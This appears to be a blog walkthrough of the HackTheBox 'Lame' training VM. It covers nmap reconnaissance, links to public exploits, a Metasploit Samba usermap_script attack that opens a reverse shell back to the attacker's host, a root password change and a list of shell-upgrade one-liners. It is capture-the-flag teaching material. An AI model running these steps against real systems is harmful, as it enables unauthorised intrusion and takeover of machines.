This is another HackTheBox VM walkthrough, and this is for the VM called "Lame".
As always, you'll need a Kali machine for attacking, VPN access to HackTheBox, on a VIP membership, and a bit of time ;)
So, okay. If everything is set up, you're connected to the VPN and have strapped yourself in, let's get to work.
As always, we start with Nmap..
nmap -A -T4 -p- 10.129.128.140
Nmap scan report for 10.129.128.140
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.74
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23
Host script results:
|_clock-skew: mean: 2h00m38s, deviation: 2h49m43s, median: 37s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-04-10T07:32:33-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
So, what's the important info here ?. Let's have a closer look, and try to understand what we're dealing with.
nmap -A -T4 -p- 10.129.128.140
Nmap scan report for 10.129.128.140
Host is up (0.032s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.74
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Host script results:
|_clock-skew: mean: 2h00m38s, deviation: 2h49m43s, median: 37s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
Okay. It looks like we have Samba running (Version 3.020-Debian), OpenSSH, and vsftpd 2.3.4. Let's go check that on Google, and see if we can find some more info on these services.
vsftp
https://github.com/TH3VeNoM/vsftpd-2.3.4-exploit-python/blob/master/vsftpd.py
https://github.com/ahervias77/vsftpd-2.3.4-exploit
https://www.exploit-db.com/exploits/17491
https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
Samba 3.0.20-debian
https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/
https://nvd.nist.gov/vuln/detail/CVE-2007-2447
https://gist.github.com/joenorton8014/19aaa00e0088738fc429cff2669b9851
https://github.com/macha97/exploit-smb-3.0.20/blob/master/exploit-smb-3.0.20.py
So, it looks like there's a couple of options for attacking Samba. One option is the usermap_script in metasploit, Fire up msfconsole, and select it.
msf > use exploit/multi/samba/usermap_scriptmsf6 exploit(multi/samba/usermap_script) > set rhost 10.129.128.x
rhost => 10.129.128.x
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.x
lhost => 10.10.14.x
msf6 exploit(multi/samba/usermap_script) > show options
sf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.x:4444
[*] Command shell session 1 opened (10.10.14.x:4444 -> 10.129.128.x:41932) at 2021-04-10 14:08:08 +0200
So, now we have shell connecting back, let's have some fun with it.
whoami
root
Okay, so far so good. We're root. But our shell is a limited shell, what can we do about it ? Well we have a couple of options here. Let's go for the easy one. Remember that SSH server ?
The real easy way, would be to see if we can change the root password, start another terminal, and log in, and get a real terminal. Note, that changing the root password on a real system is a dead giveaway that someone were there, and on a production system, we would likely need private / public SSH keys for root or other users, and we won't get them, since the private key is most likely on another system
On a production system, you should not allow password auth on SSH, and have users limited to specific users, and restricted groups, so not everyone can use SSH. But back to the job, let's go for the win here.
passwd root
Enter new UNIX password: xxxxxx
Retype new UNIX password: xxxxxx
passwd: password updated successfullyroot@lame:~# find / -name 'root.txt'
/root/root.txt
root@lame:~# find / -name 'user.txt'
/home/makis/user.txt
root@lame:~#
root@lame:~# cat /root/root.txt
2794fb76b73402181cefe5431f1bf038
root@lame:~# cat /home/makis/user.txt
1605384aec86df8a677841eae1e5d478And, we're done. One other way, if you're not changing the password and logging in through SSH, would be to try and upgrade our limited shell, to a real shell. Here's a couple of oneliners to try that.
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!shOne some systems, if you're only running as a ordinary user, but with sudo rights, there's a funny little lolbin to upgrade to a root shell. It won't always work, but it's worth a try. Read about that in LOLBins - Linux
So, have fun, and happy hacking ;)